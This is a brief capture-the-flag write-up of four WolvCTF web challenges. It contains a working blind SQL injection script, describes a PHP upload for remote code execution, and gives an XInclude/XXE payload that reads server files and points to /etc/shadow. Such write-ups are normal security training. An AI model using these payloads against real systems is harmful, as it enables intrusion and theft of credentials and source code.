KMACTF và nỗi buồn éo làm được gì cả T__T

 WolvCTF and i did my best.

Hello guys, our team got rank 48th when i decide to write this writeup. I had just solved 2 web. Have no time for Other up 2,3,4 challenges btw i will do it later.

Web1: Bean Cafe

We need upload 2 difference images but same the md5 hash

I found this drive which contain 2  image :d thx someone whose i dont know the name lmao

https://drive.google.com/drive/folders/1eCcMtQkHTreAJT6JmwxG10x1HbT6prY0

Uploaded it

Web2: Order Up 1 

This is my script. Yeah that's all

import requests

import json

import string

a = string.printable

s = ""

url = "https://dyn-svc-order-up-xec3il0vccu5tn6p0q2n-okntin33tq-ul.a.run.app/query"

for i in range(1,100):

    for j in a:

        data = {

            "col1":"item_name",

            "order":f" (case when (ascii(substr(current_query(),{i},1))={ord(j)}) then item_name else category end)"

            #(case when (ascii(substr(current_database(),0,1))>0) then item_name else category end)

        }

        r=requests.get(url,params=data)

        if json.loads(r.text)[0]["item_name"] == "BBQ Pulled Pork Sandwich":

            print("ok")

            s+=j

            print(s)

            break

        else:

            print(f"[{j}]: Not OK")

Web3: Upload fun

Following this link, we saw the code

Well, they didnt check content and extension so we could upload a php file to RCE. Btw, the hard here is $hash, we didnt know what hash is. But to remember, the author dont use @error_reporting(1), so if we could make some error with file, maybe can be lecked.

I uploaded file with long name like that and got it

upload again with short filename and get flag

Web4: Username

Ohh, the hint related to jwt could be cracked.

:33

Btw if you guys intend the source code, maybe xxe vulnerable

Cracked successfuly.

Now just use simple payload xxe to check. My payload is

{

  "data": "<data><username><xi:include xmlns:xi=\"http://www.w3.org/2001/XInclude\" parse=\"text\" href=\"file:///app/app.py\"/></username></data>"

}

Hav new secret endpoint, now we need login and get flag. We know username is flaguser but dont know password. You can read /etc/password and /etc/shadow

Cracked md5 hash in /etc/shadow and password was qqz3. Submit and catch